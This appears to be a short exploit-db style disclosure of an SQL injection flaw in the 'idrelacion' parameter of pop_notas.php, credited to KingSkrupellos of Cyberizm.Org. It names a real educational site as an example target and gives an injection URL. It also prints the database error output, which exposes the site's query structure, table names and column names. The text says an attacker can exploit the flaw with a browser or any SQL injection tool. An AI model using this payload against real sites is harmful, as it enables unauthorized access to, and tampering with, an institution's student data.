Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool. ################################################################### # SQL Injection Exploit : ********************** /pop_notas.php?idrelacion=[SQL Injection] ################################################################### # Example Vulnerable Sites : ************************* [+] campusdelarivera.edu.ar/pop_notas.php?idrelacion=1%27 ################################################################### # Example SQL Database Error : **************************** Error: select c.idcarrera, c.codigo, c.desc_carrera, m.idmodalidad, m.desc_modalidad, p.idperiodo, p.desc_periodo, p.orden_periodo, t.idturno, t.desc_turno from rel_usuarios_carreras uc left join std_carreras c on uc.idcarrera=c.idcarrera left join std_periodos p on uc.idperiodo=p.idperiodo left join std_modalidades m on uc.idmodalidad=m.idmodalidad left join std_turnos t on uc.idturno=t.idturno where (uc.idusuario=) and (c.is_curso<>1) order by p.orden_periodo, uc.audit_fecha_alta You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ') and (c.is_curso<>1) order by p.orden_periodo, uc.audit_fecha_alta' at line 11 Error: select um.*, p.desc_periodo, p.orden_periodo, p.idperiodo, m.desc_materia, m.is_special1, m.is_promocional, um.ciclo as ciclo2,um.cuatrimestre as cuatrimestre2, desc_modalidad, desc_carrera FROM rel_usuarios_materias um left join std_materias m on um.idmateria=m.idmateria left join std_periodos p on m.idperiodo=p.idperiodo left join std_modalidades mo on mo.idmodalidad=um.idmodalidad left join std_carreras c on c.idcarrera=um.idcarrera where (um.idusuario=) and ( (concat(ciclo,um.cuatrimestre) <='20192' and desc_materia<>'') ) AND (m.is_special1<>1 AND m.is_interna<>1) order by orden_periodo, desc_materia, um.ciclo asc, um.cuatrimestre asc You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ') and ( (concat(ciclo,um.cuatrimestre) <='20192' and desc_materia<>'') ) AND (m' at line 10 Error: SELECT um.*, m.*, p.desc_periodo, p.orden_periodo, t.*, d.*, mo.*, um.ciclo as ciclo2, um.cuatrimestre as cuatrimestre2, um.d_fecha_inicio, usc.idsolicitud_tipo, usc.idsolicitud_nro FROM rel_usuarios_materias um LEFT JOIN rel_usuarios_ materias_cursadas_pre um_pre ON um.idrelacion_prev = um_pre.idrelacion LEFT JOIN usr_solicitudes_cambios usc ON um_pre.idsolicitud = usc.idsolicitud LEFT JOIN std_materias m on um.idmateria=m.idmateria LEFT JOIN std_periodos p on m.idperiodo=p.idperiodo LEFT JOIN std_turnos t on um.idturno=t.idturno LEFT JOIN std_divisiones d on um.iddivision=d.iddivision LEFT JOIN std_modalidades mo on um.idmodalidad=mo.idmodalidad WHERE um.idrelacion=1' You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 14 ################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###################################################################
